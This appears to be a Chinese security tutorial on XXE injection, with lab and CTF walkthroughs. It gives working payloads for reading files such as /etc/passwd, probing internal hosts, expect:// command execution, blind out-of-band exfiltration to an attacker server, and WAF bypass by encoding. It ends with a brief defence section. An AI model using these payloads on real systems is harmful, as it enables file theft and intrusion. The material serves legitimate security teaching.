关于 XML 知识点
- 解释
- XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义 (可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。
- XXE 漏洞全称 XMLExternal Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
- XML 代码示例
- 各个语言相对应支持的协议
DTD
- 解释
- 文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用 - (1) 内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明 ]> - (2) 外部文档声明
<!DOCTYPE 根元素 SYSTEM “文件名 “>
- 文档类型定义(DTD)可定义合法的 XML 文档构建模块
- DTD 实体
- (1) 内部实体声明
<!ENTITY 实体名称 “实体的值 “> - (2) 外部实体声明
<!ENTITY 实体名称 SYSTEM “URI”> - (3) 参数实体声明
<!ENTITY %实体名称 “实体的值 “>
<!ENTITY %实体名称 SYSTEM “URI”>
- (1) 内部实体声明
漏洞代码使用方法
- 1. 文件读取协议
- 代码:
- <?xml version = “1.0”?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM “file:///c://test.txt”>]><x>&xxe;</x>
//xxe 为变量,读取 test.txt
// 打印出来
// 用 file 协议读指定路径的文件
- 代码:
2. 内网探针或攻击内网应用
- 代码:
- <?xml version = “1.0” encoding=”UTF-8″?>
- <!DOCTYPE foo [
- <!ELEMENT foo ANY >
- <!ENTYTY rabbit SYSTEM “http://192.168.1.4:80/index.txt”>
- ]>
- <x>&rabbit;</x>
- 上面的 ip 地址假设就是内网的一台服务器的 ip 地址,提交后当存在此 ip 以及端口文件则不会报错。还可以进行一个端口扫描,看一下端口是否开放。
- 3. 引用外部实体 DTD
- 代码:
- <?xml version = “1.0”?>
- <!DOCTYPE test [
- <!ENTITY % file SYSTEM “http://8.130.17.18/evil2.dtd”>
- %file;
- ]>
- <x>&send;</x>
- 可以在远程攻击者服务器(127.0.0.1)上保存的 evil2.dtd 写上:
- evil2.dtd:
- <!ENTITY send SYSTEM “file:///d:/test.txt”>
- evil2.dtd:
- 让对方服务器去访问外部的 dtd 文件。
- 可以让对方服务器去访问自己服务器上的 dtd 文件(自己服务器上的 dtd 文件根据需要自定义内容),从而到达读取等各种攻击。
- 条件:看对方的应用有没有禁用外部实体引用,这也是防御 XXE 的一种措施。
- 代码:
- 4.RCE4
- 代码 :
- <?xml version=”1.0″ ?>
- <!DOCTYPE ANY [
- <!ENTITY xxe SYSTEM “expect://id”>
- ]>
- <x>&xxe;</x>
- 读 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
- 代码 :
- 5. 无回显读取文件
- 代码:
- <?xml version=”1.0″?>
- <!DOCTYPE test [
- <!ENTITY % file SYSTEM “php://filter/read=convert.base64-encode/resource=d:/test.txt”>
- <!ENTITY % dtd SYSTEM “http://sql.tmzo.club/test.dtd”>
- %dtd;
- %send;
- ]>
- 本地 192.168.0.103 上构造 test.dtd:
- <!ENTITY % payload
- “<!ENTITY % send SYSTEM ‘http://192.168.0.103:8081/?data=%file;’>”
- >
- %payload;
- 上面的 url 一般是自己的网站,通过第一步访问文件,然后再访问 dtd 文件,把读取到的数据赋给 data,然后我们只需要再自己的网站日志,或者写个 php 脚本保存下来,就能看到读取到的文件数据了。
- 解析:
- 1. 通过 php 的 filter 协议读取 d:/test.txt 的文件内容赋值给变量 %file
- 2. 让对方服务器远程去访问自己服务器上的 dtd 文件
- 3. 对方服务器访问到自己服务器的 dtd 文件后,让它通过 get 方式带着 %file 参数去访问自己服务器别的文件
- 4. 通过日志文件查看 get 参数接收的值,进行 base64 解密
- 代码:
- 6. 读文件(绕过)
- ENTITY“SYSTEM“file 等关键词被过滤 –> 使用编码方式绕过:UTF-16BE
- cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
- http 被过滤 –> 可以使用其他协议绕过,比如 data:// 协议、file:// 协议加文件上传、php://filter 协议加文件上传
- <?xml version = “1.0”?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM “php://filter/read=convert.base64-encode/resource=xxe.php”> ]>
<x>&f;</x>
- <?xml version = “1.0”?>
- 绕过 WAF 保护的 XXE–>
- 方法 1:文档中的额外空格
方法 2:格式无效
方法 3:外来编码(Exotic encodings)
方法 4:在一个文档中使用两种类型的编码
- 方法 1:文档中的额外空格
- ENTITY“SYSTEM“file 等关键词被过滤 –> 使用编码方式绕过:UTF-16BE
XXE 漏洞的修复与防御方案 -PHP,Java,Python- 过滤及禁用
- 方案一:禁用外部实体
- 过滤用户提交的 XML 数据
- 过滤关键字:<!DOCTYPE 和 <!ENTITY,或者 SYSTEM 和 PUBLIC
案例演示
- 案例 1:xxe-lab 靶场登录框 xml 数据传输测试-检测发现
- 案例 2:CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
- 案例 3:CTF-Vulnhub-XXE 安全真题复现-检测 , 利用 , 拓展 , 实战
- 案例 4:xxe 安全漏洞自动化注射脚本工具 -XXEinjector(Ruby)
案例 1:xxe-lab 靶场登录框 xml 数据传输测试-检测发现
- 如何检测发现 xxe 漏洞?
- 1. 提交的数据包含 xml 格式如: <forgot><username>admin</username></forgot>
- 2. 请求头中如:Content-Type: text/xml 或 Content-Type: application/xml
- 3. 盲猜:更改 content-type 值 application/xml 看返回如何检测发现 xxe 漏洞?
- 靶场下载地址:https://github.com/c0ny1/xxe-lab
- 1. 以 xxe-lab 靶场登录框为例,使用 burp 抓包时,可以右击 send to Spider 自动爬行网站,所有的网站数据包会在 Proxy-History 模块显示。
- 2. 此时可以全局搜索 xml 关键字
- 3. 也可以查看 MIME type 类型是否为 XML,MIME type 类型为 XML 对应 Content-Type: text/xml 或 Content-Type: application/xml,对应内容形式如下:<user><username>2</username><password>2</password></user>
- 4. 找到 xxe 漏洞点后,使用如下脚本攻击测试,成功读取到服务器上文件内容。
- <?xml version = “1.0”?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM “file:///d:/test.txt”>
]>
<user><username>&test;</username><password>Mikasa</password></user>
- <?xml version = “1.0”?>
- 5.bp 抓包进行修改(实验未成功)
案例 2:CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
案例 3:CTF-Vulnhub-XXE 安全真题复现-检测 , 利用 , 拓展 , 实战
- 靶场搭建教程:vulnhub-XXE 漏洞靶机流程(图文 + 工具包)_ 年关的博客 -CSDN 博客 _ 漏洞靶机
- 打开已经搭建好的靶场
- 参考:渗透:vulnhub-XXE 靶机 _0d@y 的博客 -CSDN 博客 _xxe 靶机
- 利用过程:扫描 IP 及端口 –> 扫描探测目录 –> 抓包探针 xxe 安全 –> 利用 xxe 读取源码 –>flag 指向文件 –>base32 64 解密 –>php 运行 –>flag
- 1. 在本机虚拟机环境安装靶场,靶场安装后,由于我们不知道用户名密码,无法进入(一般镜像环境不会告诉你用户名密码,防止你进入后直接查看后台源码);
2. 使用 kali 自带的 netdiscover,扫描本网段除 kali 的 ip 之外存活的 ip 就是 xxe 靶机的 ip
- netdiscover -i eth0 -r 192.168.215.0/24
- 将上面的 ip 一个个试,最后发现 http://192.168.215.134/ 是靶场 IP,打开靶场
3. 漏洞查找
- 1. 可以通过 kali 自带的 dirb,扫描目录
-
- 3. 打开 192.168.49.151/xxe/
-
- 4. 是一个登录页面,利用 bp 抓个包
-
- 5. 右键 send to repeater,既然是 xxe 靶机那就存在 xxe 漏洞,先试下读取 /etc/passwd/
- 代码(记住这里容易出问题)
- <?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE r [<!ELEMENT r ANY>
<!ENTITY admin SYSTEM
“file:///etc/passwd”>]>
<root><name>&admin;</name><password>ujuj</password></root>
- <?xml version=”1.0″ encoding=”UTF-8″?>
- 我们发现读取成功
- 代码(记住这里容易出问题)
- 5. 右键 send to repeater,既然是 xxe 靶机那就存在 xxe 漏洞,先试下读取 /etc/passwd/
6. 说明这里存在漏洞,我们可以读取 admin.php 文件源码
- 代码:
- <?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE r [<!ELEMENT r ANY>
<!ENTITY admin SYSTEM
“php://filter/read=convert.base64-encode/resource=admin.php”>]>
<root><name>&admin;</name><password>ujuj</password></root>
- <?xml version=”1.0″ encoding=”UTF-8″?>
7. 我们将获取到的 base64 解码
- 3. 我们获取到账号密码:administhebest // admin@123
- 4. 登录账号,我们发现这里提示 flag
5. 我们点击打开,却报错,于是我们利用 xxe.php,继续获取代码 flagmeout.php
6. 然后解密,我们得到 flag 的加密值,是 base32 位
- 7. 用 base32 解密,得到 base64 加密值,再次解密得到:/etc/.flag.php
- 8. 我们继续读取这个文件
- 代码:
- <?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE r [<!ELEMENT r ANY>
<!ENTITY admin SYSTEM
“php://filter/read=convert.base64-encode/resource=/etc/.flag.php”>]>
<root><name>&admin;</name><password>ujuj</password></root>
- <?xml version=”1.0″ encoding=”UTF-8″?>
- 代码:
9. 我们解密得到的是看不懂的代码
10. 我们直接放在服务器上运行
11. 运行结果得到 flag
案例 4:xxe 安全漏洞自动化注射脚本工具 -XXEinjector(Ruby)
- XXEinjector 是一款基于 Ruby 的 XXE 注入工具,它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对 Java 应用程序有效,而暴力破解攻击需要使用到其他应用程序。
- XXEinjector 下载地址:https://github.com/enjoiz/XXEinjector
- 参考:XXEinjector 全过程安装详细和使用教程 _ 星语惜馨的博客 -CSDN 博客
- 运行前提:Ruby 运行环境,建议在 kali 环境下运行。
- 基本参数详解
XXEinjector 使用样例
相关链接:
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容